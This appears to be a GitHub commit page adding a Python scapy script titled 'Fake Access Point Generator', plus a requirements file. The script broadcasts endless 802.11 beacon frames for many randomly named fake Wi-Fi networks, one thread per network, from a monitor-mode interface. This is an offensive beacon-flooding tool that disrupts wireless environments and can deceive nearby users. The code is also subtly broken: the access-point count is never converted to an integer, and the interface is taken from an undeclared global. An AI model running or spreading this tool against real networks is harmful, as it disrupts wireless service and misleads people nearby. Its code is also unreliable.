Skip to content

Commit e189864

Browse files
committed
added fake ap
1 parent 03e72fc commit e189864

File tree

2 files changed

+49
-0
lines changed

2 files changed

+49
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
from scapy.all import *
2+
from threading import Thread
3+
from faker import Faker
4+
5+
6+
def send_beacon(ssid, mac, infinite=True):
7+
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac)
8+
# type=0: management frame
9+
# subtype=8: beacon frame
10+
# addr1: MAC address of the receiver
11+
# addr2: MAC address of the sender
12+
# addr3: MAC address of the Access Point (AP)
13+
14+
# beacon frame
15+
16+
beacon = Dot11Beacon()
17+
18+
# we inject the ssid name
19+
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
20+
21+
22+
# stack all the layers and add a RadioTap
23+
frame = RadioTap()/dot11/beacon/essid
24+
25+
# send the frame
26+
if infinite:
27+
sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0)
28+
else:
29+
sendp(frame, iface=iface, verbose=0)
30+
31+
32+
if __name__ == "__main__":
33+
import argparse
34+
35+
parser = argparse.ArgumentParser(description="Fake Access Point Generator")
36+
parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode")
37+
parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated")
38+
args = parser.parse_args()
39+
n_ap = args.n_ap
40+
iface = args.interface
41+
42+
# generate random SSIDs and MACs
43+
faker = Faker()
44+
45+
ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ]
46+
for ssid, mac in ssids_macs:
47+
Thread(target=send_beacon, args=(ssid, mac)).start()
+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
faker
2+
scapy

0 commit comments

Comments
 (0)